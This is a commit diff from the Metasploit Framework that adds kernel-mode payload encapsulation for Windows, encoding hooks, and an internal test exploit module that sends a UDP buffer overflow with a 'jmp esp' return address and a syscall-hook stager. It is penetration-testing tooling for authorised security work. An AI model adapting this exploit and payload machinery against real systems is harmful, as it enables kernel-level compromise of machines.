initial integration of basic kernel-mode payload support

git-svn-id: file:///home/svn/framework3/trunk@4044 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Matt Miller 2006-10-16 23:59:14 +00:00
parent fa14510b78
commit 465ea3c677
8 changed files with 205 additions and 19 deletions

View File

@ -85,6 +85,12 @@ class EncodedPayload
#
def generate_raw
self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '')
# If an encapsulation routine was supplied, then we should call it so
# that we can get the real raw payload.
if reqs['EncapsulationRoutine']
self.raw = reqs['EncapsulationRoutine'].call(reqs, raw)
end
end
#

View File

@ -214,9 +214,11 @@ class Exploit < Msf::Module
# Behavior
require 'msf/core/exploit/brute'
require 'msf/core/exploit/brutetargets'
# Payload
require 'msf/core/exploit/egghunter'
require 'msf/core/exploit/seh'
require 'msf/core/exploit/kernel_mode'
# Protocol
require 'msf/core/exploit/tcp'
@ -447,19 +449,28 @@ class Exploit < Msf::Module
reqs = self.payload_info.dup
# Pass save register requirements to the NOP generator
reqs['SaveRegisters'] = nop_save_registers
reqs['Prepend'] = payload_prepend
reqs['PrependEncoder'] = payload_prepend_encoder
reqs['BadChars'] = payload_badchars
reqs['Append'] = payload_append
reqs['MaxNops'] = payload_max_nops
reqs['MinNops'] = payload_min_nops
reqs['Encoder'] = datastore['ENCODER']
reqs['Nop'] = datastore['NOP']
reqs['EncoderType'] = payload_encoder_type
reqs['EncoderOptions'] = payload_encoder_options
reqs['SaveRegisters'] = nop_save_registers
reqs['Prepend'] = payload_prepend
reqs['PrependEncoder'] = payload_prepend_encoder
reqs['BadChars'] = payload_badchars
reqs['Append'] = payload_append
reqs['MaxNops'] = payload_max_nops
reqs['MinNops'] = payload_min_nops
reqs['Encoder'] = datastore['ENCODER']
reqs['Nop'] = datastore['NOP']
reqs['EncoderType'] = payload_encoder_type
reqs['EncoderOptions'] = payload_encoder_options
reqs['ExtendedOptions'] = payload_extended_options
return EncodedPayload.create(real_payload, reqs)
# Call the encode begin routine.
encode_begin(real_payload, reqs)
# Generate the encoded payload.
encoded = EncodedPayload.create(real_payload, reqs)
# Call the encode end routine which is expected to return the actual
# encoded payload instance.
return encode_end(real_payload, reqs, encoded)
end
#
@ -471,6 +482,20 @@ class Exploit < Msf::Module
generate_single_payload(nil, platform, arch)
end
#
# Called prior to encoding a payload.
#
def encode_begin(real_payload, reqs)
end
#
# Called after an encoded payload has been generated. This gives exploits
# or mixins a chance to alter the encoded payload.
#
def encode_end(real_payload, reqs, encoded)
encoded
end
##
#
# Feature detection
@ -771,6 +796,19 @@ class Exploit < Msf::Module
end
end
#
# Returns the payload extended options hash which is used to provide
# a location to store extended information that may be useful to
# a particular type of payload or mixin.
#
def payload_extended_options
if target and target.payload_extended_options
target.payload_extended_options
else
payload_info['ExtendedOptions']
end
end
##
#
# NOP requirements

View File

@ -0,0 +1,49 @@
module Msf
require 'rex/payloads/win32/kernel'
module Exploit::KernelMode
#
# The way that the kernel-mode mixin works is by replacing the payload
# to be encoded with one that encapsulates the kernel-mode payload as
# well.
#
def encode_begin(real_payload, reqs)
super
reqs['EncapsulationRoutine'] = Proc.new { |reqs, raw|
encapsulate_payload(reqs, raw)
}
end
protected
#
# Encapsulates the supplied raw payload within a kernel-mode payload.
#
def encapsulate_payload(reqs, raw)
new_raw = nil
ext_opt = reqs['ExtendedOptions'] || {}
# If this is a win32 target platform, try to encapsulate it in a
# win32 kernel-mode payload.
if target_platform.supports?(Msf::Module::PlatformList.win32)
ext_opt['UserModeStub'] = raw
new_raw = Rex::Payloads::Win32::Kernel.construct(ext_opt)
end
# If we did not generate a new payload, then something broke.
if new_raw.nil?
raise RuntimeError, "Could not encapsulate payload in kernel-mode payload"
else
dlog("Encapsulated user-mode payload size #{raw.length} in kernel-mode payload size #{new_raw.length}", 'core', LEV_1)
end
new_raw
end
end
end

View File

@ -12,6 +12,13 @@ require 'msf/core/module/platform'
class Msf::Module::PlatformList
attr_accessor :platforms
#
# Returns the win32 platform list.
#
def self.win32
transform('win')
end
#
# Transformation method, just accept an array or a single entry.
# This is just to make defining platform lists in a module more

View File

@ -132,7 +132,7 @@ class Msf::Module::Target
opts = {} if (!opts)
self.name = name
self.platform = opts['Platform'] ? Msf::Module::PlatformList.from_a(opts['Platform']) : nil
self.platform = opts['Platform'] ? Msf::Module::PlatformList.transform(opts['Platform']) : nil
self.save_registers = opts['SaveRegisters']
self.ret = opts['Ret']
self.opts = opts
@ -243,6 +243,14 @@ class Msf::Module::Target
opts['Payload'] ? opts['Payload']['EncoderOptions'] : nil
end
#
# Returns a hash of extended options that are applicable to payloads used
# against this particular target.
#
def payload_extended_options
opts['Payload'] ? opts['Payload']['ExtendedOptions'] : nil
end
#
# The name of the target (E.g. Windows XP SP0/SP1)
#

View File

@ -14,14 +14,14 @@ module Recovery
#
# The default recovery method is to spin the thread
#
def self.default
spin
def self.default(opts = {})
spin(opts)
end
#
# Infinite 'hlt' loop.
#
def self.spin
def self.spin(opts = {})
"\xf4\xeb\xfd"
end

View File

@ -3,7 +3,6 @@ require 'msf/core'
module Msf
module Exploits
module Test
module Multi
class Aggressive < Msf::Exploit::Remote
@ -16,7 +15,7 @@ class Aggressive < Msf::Exploit::Remote
"This module tests the exploitation of a test service.",
'Author' => 'skape',
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Version' => '$Revision: 4013 $',
'Arch' => 'x86',
'Payload' =>
{
@ -92,4 +91,3 @@ end
end
end
end
end

View File

@ -0,0 +1,80 @@
require 'msf/core'
module Msf
module Exploits
module Test
#
# This is a test exploit for testing kernel-mode payloads.
#
class Kernel < Msf::Exploit::Remote
include Exploit::Remote::Udp
include Exploit::KernelMode
def initialize(info = {})
super(update_info(info,
'Name' => 'Internal Kernel-mode Test Exploit',
'Description' =>
"This module tests the exploitation of a kernel-mode test service.",
'Author' => 'skape',
'License' => MSF_LICENSE,
'Version' => '$Revision: 4013 $',
'Arch' => 'x86',
'Payload' =>
{
'Space' => 1000,
'MaxNops' => 0,
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500
},
'Targets' =>
[
[
'Windows XP SP2 / Windows 2003 SP1',
{
'Ret' => 0x80502d7f, # jmp esp
'Platform' => 'win',
'Payload' =>
{
'ExtendedOptions' =>
{
'Stager' => 'sud_syscall_hook',
'Recovery' => 'spin'
}
}
}
],
],
'DefaultTarget' => 0))
end
def check
return Exploit::CheckCode::Vulnerable
end
def exploit
connect_udp
print_status("Sending #{payload.encoded.length} byte payload...")
buf =
rand_text_alphanumeric(260) +
"\xbe\x7f\x00\x00" +
rand_text_alphanumeric(28) +
[target.ret].pack('V') +
rand_text_alphanumeric(8) +
payload.encoded
udp_sock.put(buf)
sleep 2
disconnect_udp
end
end
end
end
end